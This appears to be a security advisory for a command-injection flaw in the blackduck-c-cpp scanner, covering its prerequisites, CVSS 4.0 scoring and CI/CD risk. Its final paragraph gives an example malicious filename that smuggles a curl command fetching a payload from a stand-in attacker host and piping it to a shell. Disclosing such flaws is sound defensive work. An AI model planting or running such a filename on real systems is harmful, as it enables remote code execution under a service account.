blackduck-c-cpp EUVD-2026-64896

The attacker must have the ability to create a file or directory within the build directory that blackduck-c-cpp is configured to scan. No access to the scanner's configuration files, build scripts, environment variables, or credentials is required - filesystem write access to the scanned directory is the sole prerequisite. A scan must occur after the malicious file is placed, whether triggered manually, by a CI/CD event, or on a scheduled basis. Exploitation is limited to actors with local or shared filesystem access to the build directory; a purely remote attacker without such access cannot exploit this vulnerability directly. The CVSS 4.0 AT:P metric explicitly captures this specific attack requirement. Limiting factors: local filesystem access required, the scan must subsequently execute, and the technique does not apply to directories the tool is not configured to scan.

The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N, score 7.5) accurately characterizes the risk: local access is required (AV:L), no complexity beyond creating a file is involved (AC:L), but a specific attack precondition exists (AT:P - write access to the build directory). No EPSS data was provided, and the vulnerability carries no CISA KEV listing, indicating no confirmed widespread active exploitation at time of analysis. Despite the absence of a public proof-of-concept, the technique is extremely well understood; shell metacharacter injection is one of the most documented exploit classes and requires no sophisticated tooling. Real-world risk is highest in shared CI/CD pipelines where multiple developers, automated processes, or dependency-fetching scripts write to build directories and the scanner runs under a service account with broader system permissions than any individual contributor. In tightly controlled, single-operator environments where only the scan account controls the build directory, the attack surface is effectively self-contained. No CVSS 3.1 vector was supplied by the vendor; the independent assessment below reflects the local-access prerequisite and potential privilege boundary crossing.

An attacker with write access to a build directory targeted by blackduck-c-cpp creates a file named with embedded shell metacharacters, for example a C source file named 'foo;curl http://attacker.example/payload|sh;.c'. When the scanner traverses the directory during its next scan run, it constructs a shell command incorporating the raw filename, causing the shell to execute the injected curl pipeline as the service account running the scan. No public proof-of-concept code is confirmed, but the technique is a textbook OS command injection and is reproducible by anyone with basic shell scripting familiarity.